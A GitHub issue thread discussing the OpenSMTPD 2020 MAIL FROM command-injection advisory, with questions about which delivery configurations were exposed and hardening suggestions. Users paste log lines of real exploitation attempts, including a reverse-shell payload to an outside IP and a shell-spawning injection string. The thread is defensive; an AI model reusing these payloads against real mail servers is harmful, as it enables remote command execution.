Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

OpenSMTPD advisory dissected #37

Open
poolpOrg opened this issue Jan 31, 2020 · 17 comments
Open

OpenSMTPD advisory dissected #37

poolpOrg opened this issue Jan 31, 2020 · 17 comments
Assignees

Comments

@poolpOrg
Copy link
Owner

@poolpOrg poolpOrg commented Jan 31, 2020

No description provided.

@poolpOrg poolpOrg self-assigned this Jan 31, 2020
@poolpOrg poolpOrg changed the title reserved OpenSMTPD advisory dissected Jan 31, 2020
@fedetft

This comment has been minimized.

Copy link

@fedetft fedetft commented Feb 1, 2020

Two questions from a long time debian+opesmtpd user: in your post you described the severity of the vulnerability for the mbox, maildir and lmtp cases, but what about mda?

My config looks like this
action receive mda "/usr/lib/dovecot/deliver -d %{user.username} -f %{sender}" user mail alias <aliases>

is dovecot run directly as an unprivileged user or it goes through a vulnerable intermediate process run as root?

By checking the logs it looks like an attempted attack was made while I was vulnerable, the log line looks like

smtp failed-command command="MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue an AUTH command first"

from my understanding the attack failed (because the RCPT TO was not valid), so no (privileged or not) process has been executed in this case, right?

@poolpOrg

This comment has been minimized.

Copy link
Owner Author

@poolpOrg poolpOrg commented Feb 1, 2020

Two questions from a long time debian+opesmtpd user: in your post you described the severity of the vulnerability for the mbox, maildir and lmtp cases, but what about mda?

I didn't mention mda because it is similar to maildir and lmtp (they are syntaxic sugar to mda for common mail delivery agents): mda is potentially vulnerable but without privileges escalation as it can only run from an unprivileged process.

I say potentially vulnerable because this is directly related to the command used, some may have no impact, others may have the same impact as lmtp. Some may be exploited through the same way and others may require crafting a different command line to evade some quoting / escaping.

My config looks like this
action receive mda "/usr/lib/dovecot/deliver -d %{user.username} -f %{sender}" user mail alias <aliases>

is dovecot run directly as an unprivileged user or it goes through a vulnerable intermediate process run as root?

This command is vulnerable but dovecot is ran as unprivileged user "mail", not root.

By checking the logs it looks like an attempted attack was made while I was vulnerable, the log line looks like

smtp failed-command command="MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue an AUTH command first"

from my understanding the attack failed (because the RCPT TO was not valid), so no (privileged or not) process has been executed in this case, right?

The attack failed indeed because in this case you are not accepting MAIL FROM unless the session is authenticated. As a result, the bug didn't get a chance to propagate to the mda layer, the MAIL FROM was rejected during the SMTP session.

@kaey

This comment has been minimized.

Copy link

@kaey kaey commented Feb 1, 2020

Users can avoid dangerous code by not using action mbox, is that correct?

@Midar

This comment has been minimized.

Copy link

@Midar Midar commented Feb 1, 2020

Unfortunately I saw the advisory waaaaay too late due to travel. There definitely are exploitation attempts in my logs:

mail# grep ';' /var/log/maillog
Feb  1 05:21:09 mail smtpd[18139]: 1f94d342cdaeab72 smtp failed-command command="MAIL FROM:<;bash -i >& /dev/tcp/185.10.68.161/443 0>&1;>" result="503 5.5.4 Invalid command arguments: Unsupported option &"
mail# zgrep ';' /var/log/maillog.*.gz
/var/log/maillog.1.gz:Jan 30 14:50:34 mail smtpd[18139]: 1f94c75fc6e98dfb smtp failed-command command="MAIL FROM:<;ls;>" result="530 5.5.1 Invalid command: Must issue a STARTTLS command first"
/var/log/maillog.1.gz:Jan 30 17:10:17 mail smtpd[18139]: 1f94c8533a809df4 smtp failed-command command="MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue a STARTTLS command first"
/var/log/maillog.1.gz:Jan 30 17:10:23 mail smtpd[18139]: 1f94c8533a809df4 smtp failed-command command="MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue an AUTH command first"

Would there be anything in the logs on a successful one? I'm currently trying to figure out if I need to reinstall the machine.

Did I dodge a bullet here because my config should only allow local users to send to the empty domain? My config looks like this:

pki "*" cert "/etc/ssl/fullchain.pem"
pki "*" key "/etc/ssl/private/privkey.pem"

table aliases file:/etc/mail/aliases
table domains file:/etc/mail/domains
table passwd passwd:/etc/mail/passwd
table virtuals file:/etc/mail/virtuals

table blocked_to {                              \
        […] # Stripped a bunch of mail addresses that were receiving spam
}

table blocked_from {            \
        […] # Blocked a bunch of addresses that sent spam
}

smtp sub-addr-delim "-"

listen on lo0
listen on vnet0 port 25 tls no-dsn
listen on vnet0 port 587 tls-require auth <passwd>

action "deliver-intern" lmtp "/var/dovecot/lmtp" rcpt-to alias <aliases>
action "deliver-extern" lmtp "/var/dovecot/lmtp" rcpt-to virtual <virtuals>
action "relay" relay

match from any mail-from <blocked_from> for any reject
match from any rcpt-to <blocked_to> for any reject

match from local for local action "deliver-intern"
match from any for domain <domains> action "deliver-extern"
match auth from any for any action "relay"
match from local for any action "relay"

/var/mail/domains contains a list of fully qualified domains.

/var/mail/virtuals looks like this:

user1@domain1  user1@domain3.com
user1@domain2  user1@domain3.com
user1@domain3  vmail

user2@domain1.com  user2@domain3.com
user2@domain2.com  user2@domain3.com
user2@domain3.com  vmail

user3@domain1.com  user3@domain3.com
user3@domain2.com  user3@domain3.com
user3@domain3.com  vmail

user1@mail.domain1.com  user1@domain1.com

(The last line is because user1 receives mail from other VMs)

@fedetft

This comment has been minimized.

Copy link

@fedetft fedetft commented Feb 1, 2020

Thanks for the quick reply.

I was reading again your post, and from my little understanding of how mail delivery works, although in the general case there has to be a process running as root, in some configurations this may not be so.

Correct me if I am wrong, but with a config like mine, with just one type of receive action

action receive mda "$command" user mail alias <aliases>

opensmtpd could drop privileges to user mail on startup, and not have any process running as root, maybe?

I don't know how complicated could it be to make a config-dependent privilege dropping, but if it can be done in many or widely used cases, it could be worth it.

@poolpOrg

This comment has been minimized.

Copy link
Owner Author

@poolpOrg poolpOrg commented Feb 2, 2020

Users can avoid dangerous code by not using action mbox, is that correct?

In a vulnerable OpenSMTPD, only maildir is safe.

On a fix OpenSMTPD, yes you are right: only action mbox is dangerous.

I'm working with other OpenBSD hackers on lifting the requirement for privileges in mail.local so that OpenSMTPD can consider it similar to any other delivery method and it will no longer be dangerous.

@poolpOrg

This comment has been minimized.

Copy link
Owner Author

@poolpOrg poolpOrg commented Feb 2, 2020

Unfortunately I saw the advisory waaaaay too late due to travel. There definitely are exploitation attempts in my logs:

mail# grep ';' /var/log/maillog
Feb  1 05:21:09 mail smtpd[18139]: 1f94d342cdaeab72 smtp failed-command command="MAIL FROM:<;bash -i >& /dev/tcp/185.10.68.161/443 0>&1;>" result="503 5.5.4 Invalid command arguments: Unsupported option &"
mail# zgrep ';' /var/log/maillog.*.gz
/var/log/maillog.1.gz:Jan 30 14:50:34 mail smtpd[18139]: 1f94c75fc6e98dfb smtp failed-command command="MAIL FROM:<;ls;>" result="530 5.5.1 Invalid command: Must issue a STARTTLS command first"
/var/log/maillog.1.gz:Jan 30 17:10:17 mail smtpd[18139]: 1f94c8533a809df4 smtp failed-command command="MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue a STARTTLS command first"
/var/log/maillog.1.gz:Jan 30 17:10:23 mail smtpd[18139]: 1f94c8533a809df4 smtp failed-command command="MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue an AUTH command first"

These attempts failed for a variety of reasons ranging from not understanding how the exploit works and trying to use it on an authenticated listener where MAIL is not processed for unauthenticated sessions.

Would there be anything in the logs on a successful one? I'm currently trying to figure out if I need to reinstall the machine.

On a successful one, you'd see the session accepted for delivery, the exploit doesn't happen during the session but is deferred to be executed during the delivery. If you don't see a message accepted for a session with a bogus MAIL FROM, it's supposedly good... if you are sure your logs were not altered.

Did I dodge a bullet here because my config should only allow local users to send to the empty domain? My config looks like this:

You dodged a bullet because you used lmtp which CAN be exploited but not to obtain root privileges.

@poolpOrg

This comment has been minimized.

Copy link
Owner Author

@poolpOrg poolpOrg commented Feb 2, 2020

Thanks for the quick reply.

I was reading again your post, and from my little understanding of how mail delivery works, although in the general case there has to be a process running as root, in some configurations this may not be so.

Correct me if I am wrong, but with a config like mine, with just one type of receive action

action receive mda "$command" user mail alias <aliases>

opensmtpd could drop privileges to user mail on startup, and not have any process running as root, maybe?

Yes, this action would create a process and immediately drop privileges to user mail.

I don't know how complicated could it be to make a config-dependent privilege dropping, but if it can be done in many or widely used cases, it could be worth it.

That is already what happens

@fedetft

This comment has been minimized.

Copy link

@fedetft fedetft commented Feb 2, 2020

I don't know how complicated could it be to make a config-dependent privilege dropping, but if it can be done in many or widely used cases, it could be worth it.

That is already what happens

Actually I was suggesting to drop the privileges at startup if the config allows it, before even accepting connections from sockets, thus having absolutely no process running as root where an escalation can occur.

It's just a random thought, if it's not possible/too cumbersome to implement don't worry.

@poolpOrg

This comment has been minimized.

Copy link
Owner Author

@poolpOrg poolpOrg commented Feb 2, 2020

It is not really possible but if we disallow delivery to root, the result will be very similar to be honest, the dangerous part is here

@fgma

This comment has been minimized.

Copy link

@fgma fgma commented Feb 2, 2020

Besides all other improvements I'd suggest to make the server banner override-able inside the config instead of using the default SMTPD_NAME. This will not improve security directly but makes it harder to search for possible targets available in public databases for mass exploitation.

@eFochler

This comment has been minimized.

Copy link

@eFochler eFochler commented Feb 3, 2020

Maildir by default! Eliminating bugs is a noble pursuit, but making the secure path the easiest path is the first step. mbox is a terrible format designed to solve problems of slow filesystems on slow disks. That's not the current problem. Death to mbox.

@B4rb3rouss

This comment has been minimized.

Copy link

@B4rb3rouss B4rb3rouss commented Feb 5, 2020

Just wanted to say, a bit late though, a sentence I heard a lot when I was a child : "Seuls ceux qui ne font rien ne font pas d'erreurs". (I know you understand it)
It's french for "The ones who don't makes mistakes are the ones doing nothing".
Anyway, thank you for all your work. You have the guts to do it. 😉

@lanodan

This comment has been minimized.

Copy link

@lanodan lanodan commented Feb 7, 2020

Hi, maybe for the Linux side of things it could use capabilities(7) and/or something like AppArmor+SELinux? capabilities would allow to drop all SuperUser privileges and only keep the ones needed. AppArmor/SELinux would allow to also restrict capabilities and their actions further.

@ejelly

This comment has been minimized.

Copy link

@ejelly ejelly commented Feb 25, 2020

FWIW, I think that the previous use of system() instead of exec*() actually really is a major part of the problem. In fact, I'd say that most of the other things you propose in your post, while worthwhile, are more of the "hardening" variety than the value of getting rid of system(). (Except for fixing the validation function, of course.)

A good analogy is SQL statements, where you generally should use prepared SQL statements instead of string-formatting them. With string-formatted SQL statements, you need to very carefully escape the data that you embed in your SQL string that the database will interpret as a statement. This actually requires knowledge of the SQL parser's grammar. With prepared statements, where any data is passed out of band, no knowledge of the grammar is required at all. The worst that can happen is that some insufficient validation results in the SQL statement applying to some unexpected data, but the statement itself remains the same.

The problem becomes much, much worse for shells. Not only are there multiple confusing ways to quote strings with various levels of effectiveness already (compare the output of echo "$(id)" with echo '$(id)'), making proper escaping hard to get right in the first place, there is also a multitude of shells with vastly differing grammars available. Worse, you now need to trust that there's no weird inconsistency (possibly, but not even necessarily, considered a bug!) in whatever shell variant is being used.

execle() and friends, on the other hand, are equivalent to out-of-band passing of data. It is always unambiguous what sequence of bytes gets passed as what argument, i.e. what will land in the new process's individual argv elements. By contrast, system() results in a complete breakdown of the well-definition of the interface between the two processes.

Consequently, I am of the opinion that using system() is almost always a security issue. Pretty much the only time where system() is acceptable at all, is if you purposefully want to directly allow the user to make use of the shell, e.g. a text editor allowing the user to enter a shell command through which to pipe the current buffer through. .forward might actually be another example where this is acceptable, if .forward allows the user to provide a specific shell command to pipe mail into, effectively relinquishing the responsibility to the user and within their privilege context (though that's also giving them something with which they can easily shoot themselves into their foot).

@ejelly

This comment has been minimized.

Copy link

@ejelly ejelly commented Feb 25, 2020

Apart from that, a question to help me assess how vulnerable my server was before I applied the patches:

My configuration only matches actions for external connections for some specific domains. That is, while I allow full relaying locally, I only have two non-obvious domains where mails from outward-facing interfaces are allowed (one of the actions is a "relay host" action, the other is indeed an mbox one).

There are more generic matches, including match for local action "local" (which ends up in mbox), but those should not match outward-facingly.

Am I right in the assumption that in order to exploit the bug, an attacker would have to know one of the two domains, because otherwise the attempt would fail at the RCPT TO: command?

My mail server does not advertise either of the two domains in its welcome banner or through its DNS reverse PTR, so I think it's very unlikely that automatic scanning/exploiting would know a proper recipient domain. In particular, most vulnerability scanners seem to use just <root> or, in very few cases, <root@...> with various parts of the advertised domain attached, which I verified to fail at RCPT TO:.

@poolpOrg

This comment has been minimized.

Copy link
Owner Author

@poolpOrg poolpOrg commented Feb 25, 2020

@ejelly regarding your first comment I'm not so convinced by your rationale: assuming we only take care of system(), the potential for escalation will still exists if a different bug is found that doesn't target system(). In such a case, we'll be discussing a different work-around around a different bug producing possibly the same result.

That doesn't mean we won't replace system() with excle*() (work already started and got committed heading that way) but I don't believe this is sufficient, this just plugs one way of targeting the same code path. Also, as you stated, in ~/.forward we can't just go the execl*() way because people expect to be able to use commands with a getopt() interface and globbing and what not. The same applies for aliases, though I think commands from aliases should be killed like delivery to root.

As for your second comment, you are right, the envelope needs to be accepted for the exploit to work and that recipient must use mbox for the privileges escalation to happen.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
9 participants
You can’t perform that action at this time.